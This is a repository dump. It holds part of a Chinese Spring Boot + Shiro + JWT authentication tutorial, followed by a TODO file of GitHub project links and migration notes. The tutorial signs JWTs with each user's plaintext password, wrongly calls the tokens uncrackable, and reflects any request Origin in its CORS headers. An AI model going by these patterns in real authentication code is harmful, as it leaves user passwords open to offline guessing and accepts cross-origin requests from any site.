</execution>\n                </executions>\n            </plugin>\n            <!-- 指定JDK编译版本 -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n```\n\n注意指定JDK版本和编码。\n\n## 构建简易的数据源\n\n为了缩减教程的代码，我使用 `HashMap` 本地模拟了一个数据库，结构如下：\n\n| username | password | role  | permission |\n| -------- | -------- | ----- | ---------- |\n| smith    | smith123 | user  | view       |\n| danny    | danny123 | admin | view,edit  |\n\n这是一个最简单的用户权限表，如果想更加进一步了解，自行百度 RBAC。\n\n之后再构建一个 `UserService` 来模拟数据库查询，并且把结果放到 `UserBean` 之中。\n\n**UserService.java**\n\n```reasonml\n@Component\npublic class UserService {\n\n    public UserBean getUser(String username) {\n        // 没有此用户直接返回null\n        if (! DataSource.getData().containsKey(username))\n            return null;\n\n        UserBean user = new UserBean();\n        Map<String, String> detail = DataSource.getData().get(username);\n\n        user.setUsername(username);\n        user.setPassword(detail.get(\"password\"));\n        user.setRole(detail.get(\"role\"));\n        user.setPermission(detail.get(\"permission\"));\n        return user;\n    }\n}\n```\n\n**UserBean.java**\n\n```typescript\npublic class UserBean {\n    private String username;\n\n    private String password;\n\n    private String role;\n\n    private String permission;\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getRole() {\n        return role;\n    }\n\n    public void setRole(String role) {\n        this.role = role;\n    }\n\n    public String getPermission() {\n        return permission;\n    }\n\n    public void setPermission(String permission) {\n        this.permission = permission;\n    }\n}\n```\n\n## 配置 JWT\n\n我们写一个简单的 JWT 加密，校验工具，并且使用用户自己的密码充当加密密钥，这样保证了 token 即使被他人截获也无法破解。并且我们在 `token` 中附带了 `username` 信息，并且设置密钥5分钟就会过期。\n\n```typescript\npublic class JWTUtil {\n\n    // 过期时间5分钟\n    private static final long EXPIRE_TIME = 5*60*1000;\n\n    /**\n     * 校验token是否正确\n     * @param token 密钥\n     * @param secret 用户的密码\n     * @return 是否正确\n     */\n    public static boolean verify(String token, String username, String secret) {\n        try {\n            Algorithm algorithm = Algorithm.HMAC256(secret);\n            JWTVerifier verifier = JWT.require(algorithm)\n                    .withClaim(\"username\", username)\n                    .build();\n            DecodedJWT jwt = verifier.verify(token);\n            return true;\n        } catch (Exception exception) {\n            return false;\n        }\n    }\n\n    /**\n     * 获得token中的信息无需secret解密也能获得\n     * @return token中包含的用户名\n     */\n    public static String getUsername(String token) {\n        try {\n            DecodedJWT jwt = JWT.decode(token);\n            return jwt.getClaim(\"username\").asString();\n        } catch (JWTDecodeException e) {\n            return null;\n        }\n    }\n\n    /**\n     * 生成签名,5min后过期\n     * @param username 用户名\n     * @param secret 用户的密码\n     * @return 加密的token\n     */\n    public static String sign(String username, String secret) {\n        try {\n            Date date = new Date(System.currentTimeMillis()+EXPIRE_TIME);\n            Algorithm algorithm = Algorithm.HMAC256(secret);\n            // 附带username信息\n            return JWT.create()\n                    .withClaim(\"username\", username)\n                    .withExpiresAt(date)\n                    .sign(algorithm);\n        } catch (UnsupportedEncodingException e) {\n            return null;\n        }\n    }\n}\n```\n\n## 构建URL\n\n**ResponseBean.java**\n\n既然想要实现 restful，那我们要保证每次返回的格式都是相同的，因此我建立了一个 `ResponseBean` 来统一返回的格式。\n\n```typescript\npublic class ResponseBean {\n    \n    // http 状态码\n    private int code;\n\n    // 返回信息\n    private String msg;\n\n    // 返回的数据\n    private Object data;\n\n    public ResponseBean(int code, String msg, Object data) {\n        this.code = code;\n        this.msg = msg;\n        this.data = data;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public void setCode(int code) {\n        this.code = code;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public Object getData() {\n        return data;\n    }\n\n    public void setData(Object data) {\n        this.data = data;\n    }\n}\n```\n\n**自定义异常**\n\n为了实现我自己能够手动抛出异常，我自己写了一个 `UnauthorizedException.java`\n\n```scala\npublic class UnauthorizedException extends RuntimeException {\n    public UnauthorizedException(String msg) {\n        super(msg);\n    }\n\n    public UnauthorizedException() {\n        super();\n    }\n}\n```\n\n**URL结构**\n\n| URL                 | 作用                                           |\n| ------------------- | ---------------------------------------------- |\n| /login              | 登入                                           |\n| /article            | 所有人都可以访问，但是用户与游客看到的内容不同 |\n| /require_auth       | 登入的用户才可以进行访问                       |\n| /require_role       | admin的角色用户才可以登入                      |\n| /require_permission | 拥有view和edit权限的用户才可以访问             |\n\n**Controller**\n\n```typescript\n@RestController\npublic class WebController {\n\n    private static final Logger LOGGER = LogManager.getLogger(WebController.class);\n\n    private UserService userService;\n\n    @Autowired\n    public void setService(UserService userService) {\n        this.userService = userService;\n    }\n\n    @PostMapping(\"/login\")\n    public ResponseBean login(@RequestParam(\"username\") String username,\n                              @RequestParam(\"password\") String password) {\n        UserBean userBean = userService.getUser(username);\n        if (userBean.getPassword().equals(password)) {\n            return new ResponseBean(200, \"Login success\", JWTUtil.sign(username, password));\n        } else {\n            throw new UnauthorizedException();\n        }\n    }\n\n    @GetMapping(\"/article\")\n    public ResponseBean article() {\n        Subject subject = SecurityUtils.getSubject();\n        if (subject.isAuthenticated()) {\n            return new ResponseBean(200, \"You are already logged in\", null);\n        } else {\n            return new ResponseBean(200, \"You are guest\", null);\n        }\n    }\n\n    @GetMapping(\"/require_auth\")\n    @RequiresAuthentication\n    public ResponseBean requireAuth() {\n        return new ResponseBean(200, \"You are authenticated\", null);\n    }\n\n    @GetMapping(\"/require_role\")\n    @RequiresRoles(\"admin\")\n    public ResponseBean requireRole() {\n        return new ResponseBean(200, \"You are visiting require_role\", null);\n    }\n\n    @GetMapping(\"/require_permission\")\n    @RequiresPermissions(logical = Logical.AND, value = {\"view\", \"edit\"})\n    public ResponseBean requirePermission() {\n        return new ResponseBean(200, \"You are visiting permission require edit,view\", null);\n    }\n\n    @RequestMapping(path = \"/401\")\n    @ResponseStatus(HttpStatus.UNAUTHORIZED)\n    public ResponseBean unauthorized() {\n        return new ResponseBean(401, \"Unauthorized\", null);\n    }\n}\n```\n\n**处理框架异常**\n\n之前说过 restful 要统一返回的格式，所以我们也要全局处理 `Spring Boot` 的抛出异常。利用 `@RestControllerAdvice` 能很好的实现。\n\n```java\n@RestControllerAdvice\npublic class ExceptionController {\n\n    // 捕捉shiro的异常\n    @ResponseStatus(HttpStatus.UNAUTHORIZED)\n    @ExceptionHandler(ShiroException.class)\n    public ResponseBean handle401(ShiroException e) {\n        return new ResponseBean(401, e.getMessage(), null);\n    }\n\n    // 捕捉UnauthorizedException\n    @ResponseStatus(HttpStatus.UNAUTHORIZED)\n    @ExceptionHandler(UnauthorizedException.class)\n    public ResponseBean handle401() {\n        return new ResponseBean(401, \"Unauthorized\", null);\n    }\n\n    // 捕捉其他所有异常\n    @ExceptionHandler(Exception.class)\n    @ResponseStatus(HttpStatus.BAD_REQUEST)\n    public ResponseBean globalException(HttpServletRequest request, Throwable ex) {\n        return new ResponseBean(getStatus(request).value(), ex.getMessage(), null);\n    }\n\n    private HttpStatus getStatus(HttpServletRequest request) {\n        Integer statusCode = (Integer) request.getAttribute(\"javax.servlet.error.status_code\");\n        if (statusCode == null) {\n            return HttpStatus.INTERNAL_SERVER_ERROR;\n        }\n        return HttpStatus.valueOf(statusCode);\n    }\n}\n```\n\n## 配置 Shiro\n\n大家可以先看下官方的 [Spring-Shiro](https://link.segmentfault.com/?url=http%3A%2F%2Fshiro.apache.org%2Fspring.html) 整合教程，有个初步的了解。不过既然我们用了 `Spring-Boot`，那我们肯定要争取零配置文件。\n\n**实现JWTToken**\n\n`JWTToken` 差不多就是 `Shiro` 用户名密码的载体。因为我们是前后端分离，服务器无需保存用户状态，所以不需要 `RememberMe` 这类功能，我们简单的实现下 `AuthenticationToken` 接口即可。因为 `token` 自己已经包含了用户名等信息，所以这里我就弄了一个字段。如果你喜欢钻研，可以看看官方的 `UsernamePasswordToken` 是如何实现的。\n\n```typescript\npublic class JWTToken implements AuthenticationToken {\n\n    // 密钥\n    private String token;\n\n    public JWTToken(String token) {\n        this.token = token;\n    }\n\n    @Override\n    public Object getPrincipal() {\n        return token;\n    }\n\n    @Override\n    public Object getCredentials() {\n        return token;\n    }\n}\n```\n\n**实现Realm**\n\n`realm` 的用于处理用户是否合法的这一块，需要我们自己实现。\n\n```reasonml\n@Service\npublic class MyRealm extends AuthorizingRealm {\n\n    private static final Logger LOGGER = LogManager.getLogger(MyRealm.class);\n\n    private UserService userService;\n\n    @Autowired\n    public void setUserService(UserService userService) {\n        this.userService = userService;\n    }\n\n    /**\n     * 大坑！，必须重写此方法，不然Shiro会报错\n     */\n    @Override\n    public boolean supports(AuthenticationToken token) {\n        return token instanceof JWTToken;\n    }\n\n    /**\n     * 只有当需要检测用户权限的时候才会调用此方法，例如checkRole,checkPermission之类的\n     */\n    @Override\n    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {\n        String username = JWTUtil.getUsername(principals.toString());\n        UserBean user = userService.getUser(username);\n        SimpleAuthorizationInfo simpleAuthorizationInfo = new SimpleAuthorizationInfo();\n        simpleAuthorizationInfo.addRole(user.getRole());\n        Set<String> permission = new HashSet<>(Arrays.asList(user.getPermission().split(\",\")));\n        simpleAuthorizationInfo.addStringPermissions(permission);\n        return simpleAuthorizationInfo;\n    }\n\n    /**\n     * 默认使用此方法进行用户名正确与否验证，错误抛出异常即可。\n     */\n    @Override\n    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken auth) throws AuthenticationException {\n        String token = (String) auth.getCredentials();\n        // 解密获得username，用于和数据库进行对比\n        String username = JWTUtil.getUsername(token);\n        if (username == null) {\n            throw new AuthenticationException(\"token invalid\");\n        }\n\n        UserBean userBean = userService.getUser(username);\n        if (userBean == null) {\n            throw new AuthenticationException(\"model.User didn't existed!\");\n        }\n\n        if (! JWTUtil.verify(token, username, userBean.getPassword())) {\n            throw new AuthenticationException(\"Username or password error\");\n        }\n\n        return new SimpleAuthenticationInfo(token, token, \"my_realm\");\n    }\n}\n```\n\n在 `doGetAuthenticationInfo()` 中用户可以自定义抛出很多异常，详情见文档。\n\n***重写 Filter\\***\n\n所有的请求都会先经过 `Filter`，所以我们继承官方的 `BasicHttpAuthenticationFilter` ，并且重写鉴权的方法。\n\n代码的执行流程 `preHandle` -> `isAccessAllowed` -> `isLoginAttempt` -> `executeLogin` 。\n\n```reasonml\npublic class JWTFilter extends BasicHttpAuthenticationFilter {\n\n    private Logger LOGGER = LoggerFactory.getLogger(this.getClass());\n\n    /**\n     * 判断用户是否想要登入。\n     * 检测header里面是否包含Authorization字段即可\n     */\n    @Override\n    protected boolean isLoginAttempt(ServletRequest request, ServletResponse response) {\n        HttpServletRequest req = (HttpServletRequest) request;\n        String authorization = req.getHeader(\"Authorization\");\n        return authorization != null;\n    }\n\n    /**\n     *\n     */\n    @Override\n    protected boolean executeLogin(ServletRequest request, ServletResponse response) throws Exception {\n        HttpServletRequest httpServletRequest = (HttpServletRequest) request;\n        String authorization = httpServletRequest.getHeader(\"Authorization\");\n\n        JWTToken token = new JWTToken(authorization);\n        // 提交给realm进行登入，如果错误他会抛出异常并被捕获\n        getSubject(request, response).login(token);\n        // 如果没有抛出异常则代表登入成功，返回true\n        return true;\n    }\n\n    /**\n     * 这里我们详细说明下为什么最终返回的都是true，即允许访问\n     * 例如我们提供一个地址 GET /article\n     * 登入用户和游客看到的内容是不同的\n     * 如果在这里返回了false，请求会被直接拦截，用户看不到任何东西\n     * 所以我们在这里返回true，Controller中可以通过 subject.isAuthenticated() 来判断用户是否登入\n     * 如果有些资源只有登入用户才能访问，我们只需要在方法上面加上 @RequiresAuthentication 注解即可\n     * 但是这样做有一个缺点，就是不能够对GET,POST等请求进行分别过滤鉴权(因为我们重写了官方的方法)，但实际上对应用影响不大\n     */\n    @Override\n    protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {\n        if (isLoginAttempt(request, response)) {\n            try {\n                executeLogin(request, response);\n            } catch (Exception e) {\n                response401(request, response);\n            }\n        }\n        return true;\n    }\n\n    /**\n     * 对跨域提供支持\n     */\n    @Override\n    protected boolean preHandle(ServletRequest request, ServletResponse response) throws Exception {\n        HttpServletRequest httpServletRequest = (HttpServletRequest) request;\n        HttpServletResponse httpServletResponse = (HttpServletResponse) response;\n        httpServletResponse.setHeader(\"Access-control-Allow-Origin\", httpServletRequest.getHeader(\"Origin\"));\n        httpServletResponse.setHeader(\"Access-Control-Allow-Methods\", \"GET,POST,OPTIONS,PUT,DELETE\");\n        httpServletResponse.setHeader(\"Access-Control-Allow-Headers\", httpServletRequest.getHeader(\"Access-Control-Request-Headers\"));\n        // 跨域时会首先发送一个option请求，这里我们给option请求直接返回正常状态\n        if (httpServletRequest.getMethod().equals(RequestMethod.OPTIONS.name())) {\n            httpServletResponse.setStatus(HttpStatus.OK.value());\n            return false;\n        }\n        return super.preHandle(request, response);\n    }\n\n    /**\n     * 将非法请求跳转到 /401\n     */\n    private void response401(ServletRequest req, ServletResponse resp) {\n        try {\n            HttpServletResponse httpServletResponse = (HttpServletResponse) resp;\n            httpServletResponse.sendRedirect(\"/401\");\n        } catch (IOException e) {\n            LOGGER.error(e.getMessage());\n        }\n    }\n}\n```\n\n`getSubject(request, response).login(token);` 这一步就是提交给了 `realm` 进行处理。\n\n**配置Shiro**\n\n```reasonml\n@Configuration\npublic class ShiroConfig {\n\n    @Bean(\"securityManager\")\n    public DefaultWebSecurityManager getManager(MyRealm realm) {\n        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();\n        // 使用自己的realm\n        manager.setRealm(realm);\n\n        /*\n         * 关闭shiro自带的session，详情见文档\n         * http://shiro.apache.org/session-management.html#SessionManagement-StatelessApplications%28Sessionless%29\n         */\n        DefaultSubjectDAO subjectDAO = new DefaultSubjectDAO();\n        DefaultSessionStorageEvaluator defaultSessionStorageEvaluator = new DefaultSessionStorageEvaluator();\n        defaultSessionStorageEvaluator.setSessionStorageEnabled(false);\n        subjectDAO.setSessionStorageEvaluator(defaultSessionStorageEvaluator);\n        manager.setSubjectDAO(subjectDAO);\n\n        return manager;\n    }\n\n    @Bean(\"shiroFilter\")\n    public ShiroFilterFactoryBean factory(DefaultWebSecurityManager securityManager) {\n        ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean();\n\n        // 添加自己的过滤器并且取名为jwt\n        Map<String, Filter> filterMap = new HashMap<>();\n        filterMap.put(\"jwt\", new JWTFilter());\n        factoryBean.setFilters(filterMap);\n\n        factoryBean.setSecurityManager(securityManager);\n        factoryBean.setUnauthorizedUrl(\"/401\");\n\n        /*\n         * 自定义url规则\n         * http://shiro.apache.org/web.html#urls-\n         */\n        Map<String, String> filterRuleMap = new HashMap<>();\n        // 所有请求通过我们自己的JWT Filter\n        filterRuleMap.put(\"/**\", \"jwt\");\n        // 访问401和404页面不通过我们的Filter\n        filterRuleMap.put(\"/401\", \"anon\");\n        factoryBean.setFilterChainDefinitionMap(filterRuleMap);\n        return factoryBean;\n    }\n\n    /**\n     * 下面的代码是添加注解支持\n     */\n    @Bean\n    @DependsOn(\"lifecycleBeanPostProcessor\")\n    public DefaultAdvisorAutoProxyCreator defaultAdvisorAutoProxyCreator() {\n        DefaultAdvisorAutoProxyCreator defaultAdvisorAutoProxyCreator = new DefaultAdvisorAutoProxyCreator();\n        // 强制使用cglib，防止重复代理和可能引起代理出错的问题\n        // https://zhuanlan.zhihu.com/p/29161098\n        defaultAdvisorAutoProxyCreator.setProxyTargetClass(true);\n        return defaultAdvisorAutoProxyCreator;\n    }\n\n    @Bean\n    public LifecycleBeanPostProcessor lifecycleBeanPostProcessor() {\n        return new LifecycleBeanPostProcessor();\n    }\n\n    @Bean\n    public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(DefaultWebSecurityManager securityManager) {\n        AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor();\n        advisor.setSecurityManager(securityManager);\n        return advisor;\n    }\n}\n```\n\n里面 URL 规则自己参考文档即可 [http://shiro.apache.org/web.html](https://link.segmentfault.com/?url=http%3A%2F%2Fshiro.apache.org%2Fweb.html) 。\n\n## 总结\n\n我就说下代码还有哪些可以进步的地方吧\n\n- 没有实现 Shiro 的 `Cache` 功能。\n- Shiro 中鉴权失败时不能够直接返回 401 信息，而是通过跳转到 `/401` 地址实现。\n\n> github地址及其来源：[https://github.com/Smith-Crui...](https://link.segmentfault.com/?url=https%3A%2F%2Fgithub.com%2FSmith-Cruise%2FSpring-Boot-Shiro)"
  },
  {
    "path": "jun_java_plugins/doc/TODO.md",
    "content": "mybatis+spring+springmvc+vue+easyui实现\n来自 <https://github.com/Ftine/Ajie-Forever-God_snack>\neasyui\nhttps://github.com/iamzhw/ins\n导航\nhttps://github.com/WebStackPage/WebStackPage.github.io\n方法5. 基于Java开发的后台系统(感谢@jsnjfz提供)\n开源地址：https://github.com/jsnjfz/WebStack-Guns\n方法6. springboot后台 Nikati-WebStack-Guns ️ (感谢Nikati (Nikati)提供)\n开源地址：https://github.com/Nikati/WebStack-Guns-NKT\nhttps://github.com/WebStackPage/webstack-Admin\n企业门户\nSpring cloud\nhttps://github.com/forezp/SpringcloudConfig\nhttps://github.com/brianway/springmvc-mybatis-learning.git\nhttps://github.com/forezp/3y\nhttps://github.com/ZhongFuCheng3y/3y\nhttps://github.com/forezp/distributed-limit\nSpring Boot快速开发框架\n来自 <https://github.com/forezp/aries>\nhttps://github.com/forezp/aries\nVue+Boot+Music\nhttps://github.com/Yin-Hongwei/music-website\nhttps://github.com/JayTange/Jantent\nhttps://github.com/zhangkaitao\nhttps://github.com/xnx3/wangmarket\nhttps://github.com/GodofRabbit/Website\nhttps://github.com/huangshiyu13/webtemplete\nSSH_shiro\nSSM_Shiro\nhttps://github.com/wosyingjun/beauty_ssm_cluster\nhttps://github.com/wosyingjun/beauty_ssm\nhttps://github.com/wosyingjun/beauty_ssm_dubbo\nhttps://github.com/wosyingjun/jresplus\nhttps://github.com/qzw1210/SpringMVC_Mybatis_Shiro\nhttps://github.com/qzw1210/springMVC-shiro\nhttps://github.com/liyifeng1994/ssm\nhttps://github.com/megagao/production_ssm\nhttps://github.com/zhangkaitao/es.git\nhttps://github.com/zhangkaitao?tab=repositories\nhttps://github.com/saysky/ForestBlog\nSpringBoot_Shiro\nhttps://github.com/qzw1210/springboot_authority\nhttps://github.com/ZHENFENG13/ssm-demo\nhttps://github.com/ZHENFENG13/perfect-ssm\nhttps://github.com/ZHENFENG13/ssm-cluster\nhttps://github.com/ZHENFENG13/ssm-dubbo\nhttps://github.com/ZHENFENG13/ssm-micro-service\nLinux\nhttps://github.com/wosyingjun/Cluster-HA-Schemes\n爬虫\nhttps://github.com/liyifeng1994/webmagic-csdnblog\n公众号\nhttps://github.com/liyifeng1994/xfshxzs\n支付\nhttps://github.com/OUYANGSIHAI/sihai-maven-ssm-alipay\n短信\nhttps://github.com/OUYANGSIHAI/SMS-verification\n微信短视频\n管理端：https://github.com/oyjcodes/wx-video-admin\n微信小程序API的后台Github地址：https://github.com/oyjcodes/wx-videos-api\n微信小程序前端APP的Github地址：https://github.com/oyjcodes/wx-video-client\n旅游网站SSM\nhttps://github.com/oyjcodes/tour\n网上商城SSM\nhttps://github.com/oyjcodes/mmall\n微服务\nhttps://github.com/oyjcodes/microservice-v1\nhttps://github.com/EdisonChou/EDC.SpringCloud.Samples\nhttps://github.com/lord-of-code/loc-framework\n优惠券\nhttps://github.com/oyjcodes/coupon\n代码功能 maven\nhttps://github.com/oyjcodes/mybatis-generator\nhttps://github.com/lijiapeng0302/vue2-elem\nhttps://github.com/xwjie/HessianDemo\nhttps://github.com/hhfcyong/xxxx-dubbo\nhttps://github.com/qzw1210/cxf-upload\nhttps://github.com/qzw1210/kft-activiti\nhttps://github.com/qzw1210/edittable_byJQuery\nhttps://github.com/qzw1210/restful\nhttps://github.com/OUYANGSIHAI/Activiti-learninig\nhttps://github.com/wosyingjun/DubboxDemo\nhttps://github.com/ytg123/GgOA\n云考勤微信公众号\nhttps://github.com/TuGengs/cloudmanager.git\nUniapp\nhttps://github.com/klren0312/ironInfoWeapp\n公司官网小程序\nhttps://github.com/weiruiweb/company1\nhttps://github.com/baitercel/wechat-company-demo\nhttps://github.com/jingjingke/vuePro-demo \nadminlte\nhttps://github.com/huanggeshuai/ssmwithTab\nReadme.md template\nplugin\nhttps://github.com/RudeCrab/rude-java/tree/master/project-practice\n迁移到CRM里面\nhttps://github.com/wenfengSAT/SpringbootCRM\n迁移到plugin里面\nhttps://github.com/wenfengSAT/wenfengSAT-SpringBoot\n迁移到uniapp里面\nhttps://github.com/fanchaoo/netease-cloud-music-community\n \n\n\n待处理：\n迁移到cloud里面\n总体待办：\n吴俊-补充TODO待办清单\nJun_code-generator\n临时分支\njun_product-----\n吴俊:\nJun_test111-----\nhttps://blog.csdn.net/qq_16563637/article/details/82422729?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight\nhttps://github.com/OptionalDay/spring-cloud-vue\n民宿预订\nhttps://github.com/C-wx/CbucHomestay\nhttps://github.com/C-wx/Uni_Homestay_Manage\nhttps://github.com/C-wx\n短视频\nhttps://github.com/helloLu/uniapp-LuShop\nJun_frontend_ui\nhttps://github.com/Ezuy-Lee/liyuze-frontEnd\n前端模板\nGame-干掉\n特效页面-合并到ui里面\n在线音乐-合并\n大数据视图--比对后合并到bigdata里面\nhttps://github.com/youki992/Navigation-site\nBootsrapdemo\nhttps://github.com/bboysoulcn/Navigation\n搜索首页模板\nvue-element-admin\n新增前端Vue模板\nBoot\nhttps://github.com/wujun728/jun_springboot \nOA\nMis\nhttps://github.com/leslie1015/RuoYi-Vue-Multi-Tenant\nhttps://github.com/CalvinHwang123/RuoYi-Process\nhttps://github.com/hongmaple/HtxkEmsm\nhttps://github.com/motisy/api-gate\nhttps://github.com/hongmaple/octopus\nhttps://github.com/myflytop/ruoyi-cms\nhttps://github.com/tony2y/RuoYi-flowable\nhttps://github.com/richardgong1987/RuoYi-Cloud-extend\nhttps://gitee.com/zhangmrit/ruoyi-cloud\nhttps://github.com/zxb0411/ruoyi\nhttps://github.com/DaMingMing/ruoyi\nhttps://github.com/pym7201211/ruoyi1\nhttps://github.com/yangxiongj/Ruoyi-weixin\nhttps://github.com/yin5980280/easy\nhttps://github.com/yin5980280/easy-examples\nhttps://github.com/itd2008/yiran\n \n\n\n【TODO】待处理-TODO[jun_2021]\n \n jun_website\nhttps://github.com/zhangdaiscott/luban-h5\nhttps://github.com/zhangdaiscott/h5huodong\nhttps://github.com/huanzi-qch/fast-scaffold\nhttps://github.com/huanzi-qch/spider\nhttps://github.com/rstyro/admin-plus\nhttps://github.com/huanzi-qch/springBoot\nhttps://github.com/huanzi-qch/springCloud\nhttps://github.com/ZhaiBo/microservice-scaffold\nhttps://github.com/lmarklil/springboot-restful-starter\nhttps://github.com/xuxueli/xxl-deep\nhttps://github.com/oneboat/ssm-lay\nhttps://github.com/search?q=lay++ssm&type=Repositories\nhttps://github.com/lcw2004/one\nhttps://github.com/febsteam/FEBS-Cloud\nssm\nhttps://github.com/yzcheng90/X-SpringBoot\ncloud\nhttps://github.com/yzcheng90/ms\nhttps://github.com/yzcheng90/ms-ui\nCMS\nhttps://github.com/xujeff/tianti\nhttps://github.com/hope-for/hope-boot \nhttps://github.com/moshowgame/SpringBootCMS\nBlog template\nhttps://github.com/zmrenwu/django-blog-tutorial-templates\nhttps://github.com/Leo0216/BlogTemplate\nhttps://github.com/Leo0216/Blog2\nhttps://github.com/Leo0216/Vue.NetCore\nhttps://github.com/BrotherMa/layuicms2.0\nfrontEnd\nLayUI\nAnt Design&Vue\nVue、Element UI\nhttps://github.com/wdlhao/vue2-element-touzi-admin\nhttps://github.com/wdlhao/vue2-plugs-demo\nhttps://github.com/bailicangdu/vue2-manage\nhttps://github.com/biaochenxuying/blog-vue-typescript\n来自 <https://github.com/yangzongzhuan/RuoYi-Vue>\nhttps://blog.csdn.net/qq_16563637/article/details/82422729?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight\n调度\nhttps://github.com/moshowgame/spring-boot-EasyUrlTask\nhttps://github.com/moshowgame/spring-cloud-study\nhttps://github.com/songxinjianqwe/JavaWebSkeleton\nhttps://github.com/godaner/shtm\n新增spring_hibernate_validator\n新增以下框架\njun_s2sh_easyui   ---from erp\njun_ssm_easyui   --- from blog\njun_boot_easyui   --- from fieldmeta\njun_ssm_bootstrap   --- from blog\nJun_boot_bootstrap --- from zb-shiro\nJun_boot_vue --- from zb-shiro\nJun_cloud --- from 1234\ncode_generator\n合并代码生成器\nExcel_to_table\njun_ssh_easyui\n新增代码生成器\nhttps://github.com/zhoutaoo/SpringCloud\nhttps://github.com/Xlinlin/SpringCloud-Demo\nhttps://github.com/intomylife/SpringCloud\n迁移到ui里面\nhttps://github.com/ColorlibHQ/AdminLTE\nhttps://github.com/fuce1314/Springboot_v2\njun_temp001-main\\\njun_temp002-main\\\ntmp_4rar-master\\\ntmp_0221-main\\\ntmp_c1-main (2)\\\ntmp_c2-main\\\ntmp_jb-main\\\ntmp_jm-main\\\ntmp_video-main\\\nAdd\n企业文档管理\n车间管理\n成本管理\n质量管理\n分销资源计划管理\n人力资源管理\n供应链管理\n客户关系管理\n进销存管理\nSSH+easyui\nhttps://github.com/American/workflow\nhttps://github.com/wellbin-li/hotel\nSSM+layui\nhttps://github.com/AlienC/BlogHtTemplate\nhttps://github.com/horsecms/layuiCMS\nhttps://github.com/jiawuliang/ssm-ieps\nhttps://github.com/thtwoth01/SSM_layui_crud\nhttps://github.com/ishardtogetaname/video\nhttps://github.com/z547224313/hostelmanagent\nhttps://github.com/xdwangwei/app_management_system\nhttps://github.com/aitangbao/springboot-admin\n问答\nhttps://github.com/SkyYongFly/YunZhi\nhttps://github.com/xiaowang1314/uniapp-plugin-collections\nhttps://github.com/zhangdaiscott/jeecg-uniapp\nhttps://github.com/zhangdaren/miniprogram-to-uniapp\nhttps://github.com/silianpan/uniapp-admin\nhttps://github.com/ITmonkey-cn/shopro-uniapp\nhttps://github.com/chenbool/uniapp-douyin\nhttps://github.com/xyzgy/uniApp\nhttps://github.com/aitangbao/springboot-api\nwx\nhttps://github.com/opendigg/awesome-github-wechat-weapp\n \n\n\nTODO:\n1、开发平台SSH+easyUI\n2、开发平台SSM+Layui\n3、开发平台SpringBoo+Bootstrap\n4、代码生成参考jeesite-generator+ruoyi-generator\n123\\\nBlogHtTemplate\\迁移到layui\nblogv20180113\\   干掉，代码合入boot\ninspinia_admin_java_ssm\\   干掉，代码合入到ssm里面\nlayuiAdmin\\   迁移到layui\nLuGenerate\\   干掉，迁移到boot里面\nmanager-system\\   保留，layui+boot\nnoteblogv5\\ 保留，迁移到blog里面\nsimple-spring-jdbc\\   干掉，迁移到springjdbc里面\nsnaker-springmvc\\干掉，迁移到ssh里面\nspring-Boot_templates_layui-Admin\\   干掉，layamdin到layui\nspring-shiro-training\\   干掉，迁移到ssm里面\nsypro\\   保留，迁移到ssh里面\nzb-shiro\\   保留，迁移到jun_boot里面\njun_administrative\\   干掉\njun_ask_discuss\\   干掉\njun_blog\\   博客系统\njun_bos\\   业务运营支撑系统\njun_crm\\   客户关系\njun_edu\\ 教育系统\njun_erp\\   企业资源\njun_finance\\   干掉\njun_flybbs\\   bbs\njun_hr\\ 人力资源\njun_itselfservice\\ 干掉\njun_mis\\\njun_music\\\njun_oa\\\njun_op\\\njun_portal\\\njun_prj\\\njun_filemanage\njun_resume_java\\\njun_resume_pm\\\njun_spring\\   迁移到ssm里面\njun_wms\\   干掉，迁移到ruoyi\n项目1111111\\\nJar包下载网视频教程\\   迁移到jun_filemanage\n百度云爬虫视频教程\\  \n百度云搜索视频教程\\迁移到baiduyun\n博客采集系统视频教程\\   迁移到jun_blog\n博客系统视频教程\\ 迁移到jun_blog\n客户关系视频教程\\ 迁移到jun_crm\n请假系统视频教程\\ 迁移到jun_oa\n设备系统视频教程\\迁移到jun_mis\n实用cms系统视频教程\\ 迁移到jun_cms\n支付系统视频教程\\迁移到jun_pay\nmindskip-uexam-master.zip\nproject.zip\nproject(1).zip\nproject(1)(1).zip\ngraphviz-2.30.1-22.el7.x86_64.rpm 干掉\ngraphviz-2.39.20150710.2019-1.el7.x86_64.rpm 干掉\njun_baiduyun.zip   迁移到baiduyun\njun_calendar.zip 迁移到jun_clendar\nEasyui+SSM   --API\nBootstrap+Boot ---MIS\nLayUI+SSM --blog\n产品规划\nBlogHtTemplate\\ 迁移到jun_frontend/jun_layui\nblogv20180113\\ 干掉 ，代码\ninspinia_admin_java_ssm\\    干掉，代码\nlayuiAdmin\\   迁移到jun_frontend/jun_layui\nLuGenerate\\   干掉，代码搞spring_plugin\nmanager-system\\ 迁移到jun_boot rename jun_boot_layadmin\nnoteblogv5\\   干掉，源码迁移，没有脚本\nsimple-spring-jdbc\\ 迁移到spring_jdbc\nsnaker-springmvc\\ 干掉，代码\nspring-Boot_templates_layui-Admin\\   直接干掉\nspring-shiro-training\\ 迁移到easyui\nsypro\\ 